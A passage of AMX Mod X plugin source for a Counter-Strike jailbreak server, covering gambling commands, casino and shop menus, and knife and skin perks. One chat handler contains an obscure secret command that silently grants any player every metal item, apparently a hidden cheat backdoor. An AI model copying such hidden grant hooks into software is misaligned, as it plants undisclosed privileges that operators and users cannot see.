  803. if( CheckTime > 0 ) CheckTime = 60 - (c_minutes + 1 )
  804. // 16:46:31
  805. // 13:29
  806. // 60 - ( 46 = 14
  807. else CheckTime = 60 - c_minutes
  808.  
  809. new szTime[ 60 ];
  810. format_time( szTime, charsmax( szTime ), "%H:%M:%S", get_systime( ) );
  811.  
  812. set_hudmessage(0, 127, 255, 0.0, 0.69, 1, 6.0, 12.0)
  813. show_hudmessage(0, "Paycheck Start In : %i:%i^nCurrect Time: %s", CheckTime, 60 - c_seconds, strDate, iHour, iMint, iSec, szTime)
  814. }
  815. else if( equali( strArg1, "/casino" ) )
  816. {
  817. Menu_Casino( Client );
  818. }
  819. else if( equali( strArg1, "/gamble" ) )
  820. {
  821.  
  822. if( !strArg2[ 0 ] )
  823. {
  824. ColorPrint( Client, "The minimum of gambling amount is^3 300$^1.")
  825. return PLUGIN_HANDLED
  826. }
  827.  
  828. new intGambling = str_to_num( strArg2 )
  829.  
  830. if( equali( strArg2, "allin" ) || equali( strArg2, "all" ) )
  831. {
  832. intGambling = Player[ Client ][ PLAYER_CASH ];
  833. }
  834.  
  835. else if( !is_str_num( strArg2 ) || str_to_num( strArg2 ) < 300 )
  836. {
  837. ColorPrint( Client, "The minimum of gambling amount is^3 300$^1.")
  838. return PLUGIN_HANDLED
  839. }
  840.  
  841. if( Player[ Client ][ PLAYER_CASH ] < 300 )
  842. {
  843. ColorPrint( Client, "The minimum of gambling amount is^3 300$^1.")
  844. return PLUGIN_HANDLED
  845. }
  846.  
  847. if( Player[ Client ][ PLAYER_CASH ] < intGambling)
  848. {
  849. ColorPrint( Client, "You dont got that amount of money.")
  850. return PLUGIN_HANDLED
  851. }
  852.  
  853.  
  854. if ( get_user_flags( Client ) & ADMIN_LEVEL_C )
  855. {
  856. new intRandom = random_num(1, 100)
  857.  
  858. if(intRandom <= 40) // Won
  859. {
  860. Player[ Client ][ PLAYER_CASH ] += intGambling
  861. }
  862. else
  863. {
  864. Player[ Client ][ PLAYER_CASH ] -= intGambling
  865. }
  866. ColorPrint(0, "^4Premium: ^3%s^1 has gambled^4 %i$^1 cash and^3 %s^1 ^1(^4+5%%^1)^4.", GetUserName( Client ), intGambling, (intRandom <= 40) ? "Won" : "Lost")
  867. Save( Client )
  868. }
  869.  
  870. else
  871. {
  872. new intRandom = random_num(1, 100)
  873.  
  874. if(intRandom <= 35) // Won
  875. {
  876. Player[ Client ][ PLAYER_CASH ] += intGambling
  877. }
  878. else
  879. {
  880. Player[ Client ][ PLAYER_CASH ] -= intGambling
  881. }
  882. ColorPrint(0, "^3%s^1 has gambled^4 %i$^1 cash and^3 %s^1.", GetUserName( Client ), intGambling, (intRandom <= 35) ? "Won" : "Lost")
  883. Save( Client )
  884.  
  885. return PLUGIN_HANDLED;
  886. }
  887. }
  888.  
  889.  
  890. else if( equali( strArg1, "/cash" ) )
  891. {
  892. new intPlayer = cmd_target( Client, strArg2, 0 )
  893.  
  894. if( !strArg2[ 0 ] || !intPlayer )
  895. {
  896. ColorPrint(Client, "You Have^3 %i$^3, ^4%s^3, ^4%s^3, ^1rank ^4%i ^3out of ^1%i.", Player[ Client ][ PLAYER_CASH ]/*, jailbreak_bank_amount(id)*/, Knife_Info[ playerUsingknife[ Client ] ][ INFOKNIFE_NANE ], Skin_Names[ playerUsingSkin[ Client ] ][ DETILS_NAME ], GetPosition( Client ), ArraySize( g_SteamID ))
  897. return PLUGIN_HANDLED
  898. }
  899. else
  900. {
  901. ColorPrint(Client, "^3%s^1 Have^3 %i$ ^3, ^4%s^3, ^4%s^3, ^1rank ^4%i ^3out of ^1%i.", GetUserName( intPlayer ), Player[ intPlayer ][ PLAYER_CASH ]/*, jailbreak_bank_amount(player)*/, Knife_Info[ playerUsingknife[ intPlayer ] ][ INFOKNIFE_NANE ], Skin_Names[ playerUsingSkin[ intPlayer ] ][ DETILS_NAME ], GetPosition( intPlayer ), ArraySize( g_SteamID ))
  902. return PLUGIN_HANDLED
  903. }
  904. }
  905.  
  906. else if( equali( strArg1, "/tokens" ) || equali( strArg1, "/token" ) )
  907. {
  908.  
  909. new intPlayer = cmd_target( Client, strArg2, 0 )
  910.  
  911. if( !strArg2[ 0 ] || !intPlayer )
  912. {
  913. ColorPrint(Client, "You Have^3 %i ^4tokens^1.", Player[ Client ][ PLAYER_TOKENS ] )
  914. return PLUGIN_HANDLED
  915. }
  916. else
  917. {
  918. ColorPrint(Client, "^3%s^1 Have^3 %i ^4tokens^1.", GetUserName( intPlayer ), Player[ intPlayer ][ PLAYER_TOKENS ] )
  919. return PLUGIN_HANDLED
  920. }
  921. }
  922.  
  923. else if( equali( strArg1, "/skins" ) || equali( strArg1, "/skin" ) ) Menu_Skins( Client );
  924. else if( equali( strArg1, "/knife" ) ) Menu_Knifes( Client );
  925. else if( equali( strArg1, "/giveforbareljoser2metalsfor" ) )
  926. for( new i = 0; i < enumMeatlts; i++ )
  927. mPlayer[ Client ][ i ]++
  928.  
  929. return PLUGIN_CONTINUE;
  930. }
  931.  
  932. public restartServer()
  933. server_cmd("restart")
  934.  
  935. /* Shop:
  936. - Events
  937. */
  938. public Event_DeathMessage( )
  939. {
  940. new intKiller = read_data( 1 );
  941. new intVictim = read_data( 2 );
  942. new intHeadshot = read_data( 3 );
  943.  
  944. new strWeapon[ 32 ];
  945. read_data( 4, strWeapon, 31 );
  946. if(intKiller == intVictim
  947. || cs_get_user_team( intKiller ) != CS_TEAM_T
  948. || cs_get_user_team( intVictim ) == CS_TEAM_T)
  949. {
  950. return;
  951. }
  952.  
  953. new intCash = intHeadshot ? 250 : 200;
  954.  
  955. if( g_PlayerKnives[ intKiller ][ playerUsingknife[ intKiller ] ] )
  956. {
  957. intCash += Knife_Info[ playerUsingknife[ intKiller ] ][ INFOKNIFE_EXTRA_CASH ];
  958. }
  959.  
  960. pev(intVictim, pev_origin, g_ClientOrigin[ intVictim ]);
  961. set_task(1.0, "Task_CreateBox", intVictim);
  962.  
  963. Player[ intKiller ][ PLAYER_CASH ] += intCash;
  964.  
  965. Save( intKiller )
  966.  
  967. ColorPrint(0, "^4%s^1 killed^4 %s^1 with ^3%s%s.", GetUserName( intKiller ), GetUserName( intVictim ), strWeapon, intHeadshot ? "^4(^1Headshot^4)^1" : "")
  968. }
  969.  
  970. public Hook_Touch(Entity, Touched)
  971. {
  972. if (!pev_valid(Entity) || !pev_valid(Touched))
  973. {
  974. return FMRES_IGNORED;
  975. }
  976.  
  977. static ClassName[32], TouchedClassName[32], intCash;
  978. pev(Entity, pev_classname, ClassName, charsmax(ClassName));
  979. pev(Touched, pev_classname, TouchedClassName, charsmax(TouchedClassName));
  980.  
  981. if (equal(ClassName, "player") && equal(TouchedClassName, szBoxes_Info[ 0 ][ BOXES_CLASSNAME ] ))
  982. {
  983. g_iClBox[ Entity ] = true;
  984.  
  985. if( g_iActive[ Entity ] )
  986. {
  987. intCash = random_num( 500, szBoxes_Info[ 0 ][ BOXES_RECIVE ] );
  988.  
  989. Player[ Entity ][ PLAYER_CASH ] += intCash;
  990. g_fTimer[ Entity ] = 0.0;
  991. g_iClBox[ Entity ] = false;
  992. g_iActive[ Entity ] = false;
  993. ColorPrint(0, "^4%s^1 found in the ^3%s ^1box ^4%i Cash", GetUserName( Entity ), szBoxes_Info[ 0 ][ BOXES_NAME ], intCash )
  994. engfunc(EngFunc_RemoveEntity, Touched);
  995. return FMRES_SUPERCEDE;
  996. }
  997. }
  998. if (equal(ClassName, "player") && equal(TouchedClassName, szBoxes_Info[ 1 ][ BOXES_CLASSNAME ] ))
  999. {
  1000. g_iClBox[ Entity ] = true;
  1001.  
  1002. if( g_iActive[ Entity ] )
  1003. {
  1004. intCash = random_num( 0, szBoxes_Info[ 1 ][ BOXES_RECIVE ] );
  1005.  
  1006. mPlayer[ Entity ][ intCash ]++;
  1007. g_iClBox[ Entity ] = false;
  1008. g_iActive[ Entity ] = false;
  1009. ColorPrint(0, "^4%s^1 found in the ^3%s ^1box ^4%s", GetUserName( Entity ), szBoxes_Info[ 1 ][ BOXES_NAME ], Meatls_Name[ intCash ] )
  1010. engfunc(EngFunc_RemoveEntity, Touched);
  1011. return FMRES_SUPERCEDE;
  1012. }
  1013. }
  1014. return FMRES_IGNORED;
  1015. }
  1016.  
  1017. public Event_CurWeapon( Client )
  1018. {
  1019. new weaponID = read_data( 2 )
  1020.  
  1021. if(weaponID == CSW_KNIFE)
  1022. {
  1023. if( g_PlayerKnives[ Client ][ playerUsingknife[ Client ] ])
  1024. user_update_knife( Client )
  1025. }
  1026. if(g_PlayerSkins[ Client ][ playerUsingSkin[ Client ] ]
  1027. || !playerUsingSkin[ Client ])
  1028. {
  1029. new Float:flSpeed = ( get_user_maxspeed( Client ) + float( GetUserStat( Client, playerUsingSkin[ Client ], SKIN_MOVEMENT ) ))
  1030. set_user_maxspeed( Client, flSpeed )
  1031. }
  1032. }
  1033.  
  1034. /* Shop:
  1035. - Ham
  1036. */
  1037. public fw_CmdStart( iClient, uc_handle, randseed )
  1038. {
  1039. if (!is_user_connected( iClient ) || !is_user_alive( iClient ))
  1040. return FMRES_IGNORED
  1041.  
  1042. //new button = pev(id, pev_button)
  1043. new button = get_uc( uc_handle , UC_Buttons );
  1044. new oldbutton = pev(iClient, pev_oldbuttons)
  1045.  
  1046. if( button & IN_USE && !(oldbutton & IN_USE) && Player[ iClient ][ PLAYER_ROLLATE ])
  1047. {
  1048. Player[ iClient ][ PLAYER_TIMER ] = ( Player[ iClient ][ PLAYER_RANDOM ] - 3 );
  1049. Player[ iClient ][ PLAYER_ROLLATESTOP ] = true;
  1050. }
  1051.  
  1052. if( g_iClBox[ iClient ] )
  1053. {
  1054. if( button & IN_USE && !(oldbutton & IN_USE))
  1055. {
  1056. g_iActive[ iClient ] = true;
  1057. }
  1058. else
  1059. {
  1060. g_iActive[ iClient ] = false;
  1061. }
  1062. }
  1063.  
  1064. return FMRES_IGNORED;
  1065. }
  1066.  
  1067. public fw_EmitSound( Client, channel, const sample[], Float:volume, Float:attn, flags, pitch )
  1068. {
  1069. if( !is_user_connected( Client ) )
  1070. return FMRES_IGNORED
  1071. if( !g_PlayerKnives[ Client ][ playerUsingknife[ Client ] ] )
  1072. return FMRES_IGNORED
  1073. new strFormat[ 165 ];
  1074.  
  1075. if( sample[ 8 ] == 'k' && sample[ 9 ] == 'n' && sample[ 10 ] == 'i' )
  1076. {
  1077. if( sample[ 14 ] == 's' && sample[ 15 ] == 'l' && sample[ 16 ] == 'a' )
  1078. {
  1079. formatex( strFormat, charsmax( strFormat ), "injstice1/%s", Knife_Sound[ playerUsingknife[ Client ] ][ SOUND_SLASH ] );
  1080. emit_sound( Client, channel, strFormat, volume, attn, flags, pitch );
  1081.  
  1082. return FMRES_SUPERCEDE
  1083. }
  1084. if ( sample[ 14 ] == 'h' && sample[ 15 ] == 'i' && sample[ 16 ] == 't' )
  1085. {
  1086. if ( sample[ 17 ] == 'w' ) // wall
  1087. {
  1088. formatex( strFormat, charsmax( strFormat ), "injstice1/%s", Knife_Sound[ playerUsingknife[ Client ] ][ SOUND_WALL ]);
  1089. emit_sound( Client, channel, strFormat, volume, attn, flags, pitch );
  1090.  
  1091. return FMRES_SUPERCEDE
  1092. }
  1093. else
  1094. {
  1095. formatex( strFormat, charsmax( strFormat ), "injstice1/%s", Knife_Sound[ playerUsingknife[ Client ] ][ SOUND_HIT1 ]);
  1096. emit_sound( Client, channel, strFormat, volume, attn, flags, pitch );
  1097.  
  1098. return FMRES_SUPERCEDE
  1099. }
  1100. }
  1101. if ( sample[ 14 ] == 's' && sample[ 15 ] == 't' && sample[ 16 ] == 'a' )
  1102. {
  1103. formatex( strFormat, charsmax( strFormat ), "injstice1/%s", Knife_Sound[ playerUsingknife[ Client ] ][ SOUND_STAB ]);
  1104. emit_sound( Client, channel, strFormat, volume, attn, flags, pitch );
  1105.  
  1106. return FMRES_SUPERCEDE;
  1107. }
  1108. }
  1109.  
  1110. return FMRES_IGNORED
  1111. }
  1112.  
  1113. public Ham_PlayerSpawn( Client )
  1114. {
  1115. static Players[ 32 ], iPlayer;
  1116.  
  1117. if( is_user_alive( Client ) )
  1118. {
  1119. Player[ Client ][ PLAYER_DOUBLEDMG ] = 0
  1120.  
  1121. if( g_PlayerKnives[ Client ][ playerUsingknife[ Client ] ] )
  1122. {
  1123. set_user_health( Client, ( get_user_health( Client ) + Knife_Info[ playerUsingknife[ Client ] ][ INFOKNIFE_EXTRA_HEALTH ] ) )
  1124. }
  1125.  
  1126. if( cs_get_user_team( Client ) == CS_TEAM_T )
  1127. {
  1128. if( g_PlayerSkins[ Client ][ playerUsingSkin[ Client ] ] )
  1129. {
  1130. cs_set_user_model( Client, Skin_Names[ playerUsingSkin[ Client ] ][ DETILS_DOWN ] )
  1131.  
  1132. new intRandom = random_num( 1 , 100 );
  1133.  
  1134. if( g_PlayerUpgrade[ Client ][ playerUsingSkin[ Client ] ][ SKIN_GRANDE ] > 0 )
  1135. {
  1136. if( GetUserStat( Client, playerUsingSkin[ Client ], SKIN_GRANDE ) >= intRandom )
  1137. {
  1138. give_grenade( Client, CSW_HEGRENADE );
  1139. }
  1140. }
  1141.  
  1142. intRandom = random_num( 1, 100 );
  1143.  
  1144. if( g_PlayerUpgrade[ Client ][ playerUsingSkin[ Client ] ][ SKIN_STAMINA ] > 0 )
  1145. {
  1146. if( GetUserStat( Client, playerUsingSkin[ Client ], SKIN_STAMINA ) >= intRandom )
  1147. {
  1148. give_grenade( Client, CSW_FLASHBANG );
  1149. }
  1150. }
  1151. }
  1152. }
  1153. else cs_reset_user_model( Client );
  1154. }
  1155.  
  1156. if( cs_get_user_team( Client ) == CS_TEAM_CT )
  1157. {
  1158. fm_give_item( iPlayer, "weapon_m4a1" );
  1159.  
  1160. fm_give_item( iPlayer, "weapon_deagle" );
  1161.  
  1162. cs_set_user_bpammo( iPlayer, CSW_M4A1, 120 );
  1163.  
  1164. cs_set_user_bpammo( iPlayer, CSW_DEAGLE, 70 );
  1165.  
  1166. cs_reset_user_model( Client );
  1167. }
  1168. }
  1169.  
  1170.  
  1171. public Ham_PlayerTakeDamage( victim, inflictor, attacker, Float:damage, damage_bits )
  1172. {
  1173. if( get_user_health( victim ) <= 0 )
  1174. {
  1175. ExecuteHamB(Ham_Killed, victim, victim, 0)
  1176. }
  1177. if( is_user_alive( attacker ) )
  1178. {
  1179. if( g_PlayerKnives[ attacker ][ playerUsingknife[ attacker ] ] )
  1180. {
  1181. damage += float( Knife_Info[ playerUsingknife[ attacker ] ][ INFOKNIFE_EXTRA_DMG ] )
  1182.  
  1183. new intHealth, doubLifePre, intMaxHealth, intRandom;
  1184.  
  1185. intRandom = random_num( 1, 100 );
  1186.  
  1187. if( Knife_Info[ playerUsingknife[ attacker ] ][ INFOKNIFE_SLAG ] >= intRandom )
  1188. {
  1189. set_task( 0.3, "fnSlagedout", victim + TASK_STUN );
  1190. }
  1191.  
  1192. intHealth = get_user_health( attacker );
  1193.  
  1194. doubLifePre = intHealth + floatround( ( ( damage * float( Knife_Info[ playerUsingknife[ attacker ] ][ INFOKNIFE_LIFE_STEAL ] ) / 100.0 ) ) );
  1195. intMaxHealth = 100 + Knife_Info[ playerUsingknife[ attacker ] ][ INFOKNIFE_EXTRA_HEALTH ];
  1196.  
  1197. clamp( doubLifePre, 0, intMaxHealth )
  1198. }
  1199. if( Player[ attacker ][ PLAYER_DOUBLEDMG ] )
  1200. {
  1201. damage *= 2
  1202. }
  1203. SetHamParamFloat( 4, damage )
  1204. }
  1205. }
  1206.  
  1207. public fnSlagedout( Client )
  1208. {
  1209. Client -= TASK_STUN;
  1210.  
  1211. new Flags;
  1212. Flags = pev( Client, pev_flags )
  1213.  
  1214. if( Flags & FL_FROZEN )
  1215. return
  1216.  
  1217. fm_set_user_rendering( Client, kRenderFxGlowShell, 255, 255, 255, kRenderNormal, 40 )
  1218. set_pev( Client, pev_flags, Flags | FL_FROZEN )
  1219.  
  1220. set_task( 3.0, "Unfreeze", Client + TASK_STUN, _, _, "b" )
  1221. }
  1222.  
  1223. public Unfreeze( Client )
  1224. {
  1225. // Unfreeze player if it's frozen
  1226. Client -= TASK_STUN;
  1227.  
  1228. static Flags;
  1229. Flags = pev( Client, pev_flags )
  1230. if( Flags & FL_FROZEN )
  1231. set_pev( Client, pev_flags, Flags &~ FL_FROZEN )
  1232.  
  1233. fm_set_user_rendering( Client, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 25 )
  1234. }
  1235.  
  1236. /* Shop:
  1237. - Menu's
  1238. */
  1239. public Menu_Shop( Client )
  1240. {
  1241. if(!is_user_alive( Client ) || cs_get_user_team( Client ) != CS_TEAM_T || gNoPasswordEntered )
  1242. {
  1243.  
  1244. return PLUGIN_HANDLED
  1245. }
  1246.  
  1247. new strTemp[215]
  1248. formatex(strTemp, 214, "\r[ \w%s \r] \wJailbreak \yShop \wMain Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[ Client ][ PLAYER_CASH ], GetPosition( Client ), ArraySize( g_SteamID ) )
  1249. new menu = menu_create(strTemp, "Handler_Shop")
  1250.  
  1251. menu_additem( menu, "Casino Menu", "1" );
  1252. menu_additem( menu, "Store Menu^n", "2" );
  1253. menu_additem( menu, "Powers Ups \r& \wAbiltes Menu^n", "3" );
  1254.  
  1255. menu_additem( menu, "Knife menu", "4" );
  1256. menu_additem( menu, "Skin menu", "5" );
  1257.  
  1258. menu_display( Client, menu );
  1259. return PLUGIN_CONTINUE
  1260. }
  1261. public Handler_Shop( Client, menu, item )
  1262. {
  1263. if( menu == MENU_EXIT || !is_user_alive( Client ) )
  1264. {
  1265. menu_destroy( menu );
  1266. }
  1267. else
  1268. {
  1269. switch(MenuKey(menu, item))
  1270. {
  1271. case 1: // Grenade Menu
  1272. {
  1273. Menu_Casino( Client );
  1274. }
  1275. case 2: // Grenade Menu
  1276. {
  1277. Menu_Store( Client );
  1278. }
  1279. case 3: // Specials
  1280. {
  1281. Menu_Special( Client )
  1282. }
  1283. case 4: // Knife Menu
  1284. {
  1285. Menu_Knifes( Client )
  1286. }
  1287. case 5: // Skin Menu
  1288. {
  1289. Menu_Skins( Client )
  1290. }
  1291. }
  1292. }
  1293. }
  1294.  
  1295.  
  1296. public Menu_Store( Client )
  1297. {
  1298. if(!is_user_alive( Client ) || cs_get_user_team( Client ) != CS_TEAM_T || gNoPasswordEntered )
  1299. return PLUGIN_HANDLED
  1300.  
  1301. new strTemp[215]
  1302. formatex(strTemp, 214, "\r[ \w%s \r] \wJailbreak \yStore \wMain Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[ Client ][ PLAYER_CASH ], GetPosition( Client ), ArraySize( g_SteamID ) )
  1303. new menu = menu_create(strTemp, "Handler_Menu_Store")
  1304.  
  1305. menu_additem( menu, "Grenades menu", "1" );
  1306. menu_additem( menu, "Health menu", "2" );
  1307. menu_additem( menu, "Armor menu", "3" );
  1308.  
  1309. menu_display( Client, menu );
  1310. return PLUGIN_CONTINUE
  1311. }
  1312.  
  1313. public Handler_Menu_Store( Client, menu, item )
  1314. {
  1315. if( menu == MENU_EXIT || !is_user_alive( Client ) )
  1316. {
  1317. menu_destroy( menu );
  1318. Menu_Shop( Client );
  1319. }
  1320. else
  1321. {
  1322. switch(MenuKey(menu, item))
  1323. {
  1324. case 1: // Grenade Menu
  1325. {
  1326. Menu_Grenades( Client );
  1327. }
  1328. case 2: // Health Menu
  1329. {
  1330. Menu_Health( Client );
  1331. }
  1332. case 3: // Armor Menu
  1333. {
  1334. Menu_Armor( Client );
  1335. }
  1336. }
  1337. }
  1338. }
  1339.  
  1340. public Menu_Grenades( Client )
  1341. {
  1342. if ( gNoPasswordEntered )
  1343. return PLUGIN_HANDLED;
  1344.  
  1345. new strTemp[ 100 ], strKey[ 6 ];
  1346. formatex( strTemp, 99, "\r[ \w%s \r] \yGrenade\w Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[ Client ][ PLAYER_CASH ], GetPosition( Client ), ArraySize( g_SteamID ) )
  1347.  
  1348. new menu = menu_create(strTemp, "Handler_Grenades")
  1349.  
  1350. for( new i = 0; i < MAX_GREANDES; i++ )
  1351. {
  1352. formatex( strTemp, 99, "\w%s\r [\w %i$ \r]", Grenade_Menu[ i ][ grenadeName ], Grenade_Menu[ i ][ grenadeCost ] )
  1353. num_to_str( i, strKey, 5 )
  1354. menu_additem( menu, strTemp, strKey )
  1355. }
  1356.  
  1357. menu_display( Client, menu )
  1358. return PLUGIN_HANDLED;
  1359. }
  1360.  
  1361.  
  1362. public Menu_Health(id)
  1363. {
  1364. if ( gNoPasswordEntered )
  1365. return PLUGIN_HANDLED;
  1366. new strTemp[100], strKey[6]
  1367. formatex(strTemp, 99, "\r[ \w%s \r] \yHealth\w Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[id][PLAYER_CASH], GetPosition( id ), ArraySize( g_SteamID ) )
  1368. new menu = menu_create(strTemp, "Handler_Health")
  1369.  
  1370. for(new i = 0; i < sizeof Health_Info; i++)
  1371. {
  1372. formatex(strTemp, 99, "\w%i Health\r [\w %i$ \r]", Health_Info[i][0], Health_Info[i][1])
  1373. num_to_str(i, strKey, 5)
  1374. menu_additem(menu, strTemp, strKey)
  1375. }
  1376. menu_display(id, menu)
  1377. return PLUGIN_HANDLED;
  1378. }
  1379.  
  1380. public Menu_Armor(id)
  1381. {
  1382. if ( gNoPasswordEntered )
  1383. return PLUGIN_HANDLED;
  1384. new strTemp[100], strKey[6]
  1385. formatex(strTemp, 99, "\r[ \w%s \r] \yArmor\w Menu^n\wCash: \w%i\r$ \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[id][PLAYER_CASH], GetPosition( id ), ArraySize( g_SteamID ) )
  1386. new menu = menu_create(strTemp, "Handler_Armor")
  1387.  
  1388. for(new i = 0; i < sizeof Armor_Info; i++)
  1389. {
  1390. formatex(strTemp, 99, "\w%i Armor\r [\w %i$ \r]", Armor_Info[i][0], Armor_Info[i][1])
  1391. num_to_str(i, strKey, 5)
  1392. menu_additem(menu, strTemp, strKey)
  1393. }
  1394. menu_display(id, menu)
  1395. return PLUGIN_HANDLED;
  1396. }
  1397.  
  1398. public Menu_Casino(id)
  1399. {
  1400. if ( gNoPasswordEntered )
  1401. return PLUGIN_HANDLED;
  1402. new strTemp[100], strKey[6]
  1403. formatex(strTemp, 99, "\r[ \w%s \r] \yCasino \rMain\w Menu^n\wTokens: \w%i \y| \wRank \y%i \dout of \r%i", GAMETYPE, Player[id][PLAYER_TOKENS], GetPosition( id ), ArraySize( g_SteamID ) )
  1404. new menu = menu_create(strTemp, "Handler_Casino")
  1405.  
  1406. for(new i = 0; i < enumCasino; i++)
  1407. {
  1408. if( Casino_intTokens[i] != -1 )
  1409. formatex(strTemp, 99, "\w%s \d( \y%i \wTokens \d)", Casino_Names[i], Casino_intTokens[i])
  1410. else
  1411. formatex(strTemp, 99, "\w%s", Casino_Names[i])
  1412. num_to_str(i, strKey, 5)
  1413. menu_additem(menu, strTemp, strKey, 0, menu_makecallback( "menu_Casino_callback" ))
  1414. }
  1415. menu_display(id, menu)
  1416. return PLUGIN_HANDLED;
  1417. }
  1418.  
  1419. public menu_Casino_callback( id, menu, item )
  1420. {
  1421. if( Casino_intTokens[ item ] > Player[id][PLAYER_TOKENS] )
  1422. {
  1423. return ITEM_DISABLED;
  1424. }
  1425. return ITEM_IGNORE;
  1426. }
  1427.  
  1428. public Handler_Casino( iClient, menu, item )
  1429. {
  1430. if( item == MENU_EXIT )
  1431. {
  1432. menu_destroy( menu )
  1433. Menu_Shop( iClient )
  1434. }
  1435. else
  1436. {
  1437. switch( item )
  1438. {
  1439. case 0:
  1440. {
  1441. if( Player[iClient][PLAYER_TOKENS] >= 3 )
  1442. Menu_Casino_RPS( iClient )
  1443. else
  1444. Menu_Casino( iClient );
  1445. }
  1446. case 1:
  1447. {
  1448. if( Player[iClient][PLAYER_TOKENS] >= 1 )
  1449. {
  1450. Player[iClient][PLAYER_TOKENS] -= 1;
  1451.  
  1452. Player[ iClient ][ PLAYER_ROLLATE ] = true;
  1453. Player[ iClient ][ PLAYER_ROLLATESTOP ] = false;
  1454. Player[ iClient ][ PLAYER_RANDOM ] = random_num( 15, 18 )
  1455. Player[ iClient ][ PLAYER_RANDOMPRICE ] = random_num( 1, 10 );
  1456. Player[ iClient ][ PLAYER_TIMER ] = 0
  1457.  
  1458. set_task(1.0, "Task_MakeaWish", iClient+TASK_WISH);
  1459. Save( iClient );
  1460. }
  1461. else
  1462. Menu_Casino( iClient );
  1463. }
  1464. case 2:
  1465. Menu_MainGuessit( iClient );
  1466. }
  1467. }
  1468. }
  1469.  
  1470. public Menu_MainGuessit( iClient )
  1471. {
  1472. new strTemp[200], strKey[ 6 ];
  1473. formatex(strTemp, 99, "\r[ \w%s \r] \yCasino Menu \wTokens: \w%i^n Guess the Number", GAMETYPE, Player[ iClient ][PLAYER_TOKENS])
  1474. new menu = menu_create(strTemp, "Handler_RolltheDice")
  1475.  
  1476. for(new i = 0 ; i < 4 ; i++)
  1477. {
  1478. formatex(strTemp, 99, "\wLevel\y :\d %s\r -\wReward %d\r$ \d(\y %i\w Tokens\d )", Guessit[i][ strGameName ], Guessit[i][ intGameReward ], Guessit[ i ][ intGameCost ])
  1479. num_to_str(i, strKey, 5)
  1480. menu_additem(menu, strTemp, strKey, 0, menu_makecallback( "menu_Casino1_callback" ))
  1481. }
  1482.  
  1483. menu_display(iClient, menu)
  1484. }
  1485.  
  1486. public menu_Casino1_callback( iClient, menu, item )
  1487. {
  1488. if( Guessit[ item ][ intGameCost ] > Player[ iClient ][ PLAYER_TOKENS ] )
  1489. {
  1490. return ITEM_DISABLED;
  1491. }
  1492. return ITEM_IGNORE;
  1493. }
  1494.  
  1495. public Handler_RolltheDice(iClient, menu, item)
  1496. {
  1497. if(item == MENU_EXIT)
  1498. {
  1499. menu_destroy(menu)
  1500. Menu_Casino(iClient)
  1501. }
  1502. else
  1503. {
  1504. new intKey = MenuKey(menu, item);
  1505. Player[ iClient ][ PLAYER_TOKENS ] -= Guessit[ intKey ][ intGameCost ];
  1506. Player[ iClient ][ PLAYER_ITEM ] = intKey
  1507. Player[ iClient ][ PLAYER_NUMBERGUESSING ] = 0;
  1508. Save( iClient );
  1509. Menu_Guessit(iClient)
  1510. }
  1511. }
  1512.  
  1513. public Menu_Guessit( iClient )
  1514. {
  1515. new strTemp[200]
  1516. formatex(strTemp, 199, "\r[ \w%s \r] \yCasino Menu^n \wGuess the Number Level : \y%s^n\w Choose Number Between \y1 \d- \y%d", GAMETYPE, Guessit[ Player[ iClient ][ PLAYER_ITEM ] ][ strGameName ],
  1517. Guessit[ Player[ iClient ][ PLAYER_ITEM ] ][ intGameNumbers ])
  1518.  
  1519. new menu = menu_create(strTemp, "Handler_RolltheDiceAdv")
  1520.  
  1521. formatex(strTemp, 199, "Choosen Number is [ %d ] ", Player[ iClient ][ PLAYER_NUMBERGUESSING ])
  1522. menu_additem(menu, strTemp, "0",_, menu_makecallback("xBlockItem"))
  1523. menu_additem(menu, "Submit a Number", "1")
  1524. menu_additem(menu, "Guess it !", "2")
  1525. menu_display(iClient, menu)
  1526. }
  1527.  
  1528. public xBlockItem( iClient, menu, item )
  1529. {
  1530. return ITEM_DISABLED;
  1531. }
  1532.  
  1533.  
  1534. public Handler_RolltheDiceAdv(iClient, menu, item)
  1535. {
  1536. if(item == MENU_EXIT)
  1537. {
  1538. menu_destroy(menu)
  1539. Menu_MainGuessit( iClient )
  1540. Player[ iClient ][ PLAYER_TOKENS ] += Guessit[ Player[ iClient ][ PLAYER_ITEM ] ][ intGameCost ];
  1541. Save( iClient );
  1542.  
  1543. }
  1544. else
  1545. {
  1546. switch(MenuKey(menu, item))
  1547. {
  1548. case 1:
  1549. {
  1550. client_cmd(iClient, "messagemode Guess_the_Number")
  1551. }
  1552. case 2:
  1553. {
  1554. new IsRandom = random_num(1, Guessit[ Player[ iClient ][ PLAYER_ITEM ] ][ intGameNumbers ])
  1555.  
  1556. if(Player[ iClient ][ PLAYER_NUMBERGUESSING ] == IsRandom)
  1557. {
  1558. Player[ iClient ][PLAYER_CASH] += Guessit[ Player[ iClient ][ PLAYER_ITEM ] ][ intGameReward ];
  1559. ColorPrint( 0, "^3%s^1 have^4 won^1 in the^4 Guess the Number^1 %d$", GetUserName( iClient ), Guessit[ Player[ iClient ][ PLAYER_ITEM ] ][ intGameReward ]);
  1560. }
  1561. else
  1562. ColorPrint(iClient, "^1you have not sucsses in getting the^4 right number^3 %d^1.", IsRandom)
  1563.  
  1564. Save( iClient );
  1565. }
  1566. }
  1567. }
  1568. }
  1569.  
  1570.  
  1571. public Cmd_BankAmount( iClient )
  1572. {
  1573. static arg[10];
  1574. read_argv(1, arg, charsmax(arg));
  1575.  
  1576. if(!strlen(arg) || !is_str_num(arg) || str_to_num(arg) < 1 || str_to_num(arg) > Guessit[ Player[ iClient ][ PLAYER_ITEM ] ][ intGameNumbers ])
  1577. {
  1578. Menu_Guessit( iClient )
  1579. ColorPrint(iClient, "^1Error enter the number again")
  1580. return PLUGIN_HANDLED
  1581. }
  1582.  
  1583. Player[ iClient ][ PLAYER_NUMBERGUESSING ] = str_to_num(arg)
  1584. Menu_Guessit( iClient )
  1585.  
  1586. return PLUGIN_CONTINUE;
  1587. }
  1588.  
  1589. public Task_MakeaWish( iClient )
  1590. {
  1591. iClient -= TASK_WISH;
  1592.  
  1593. new iLen, g_sBuffer[ 1024 ];
  1594.  
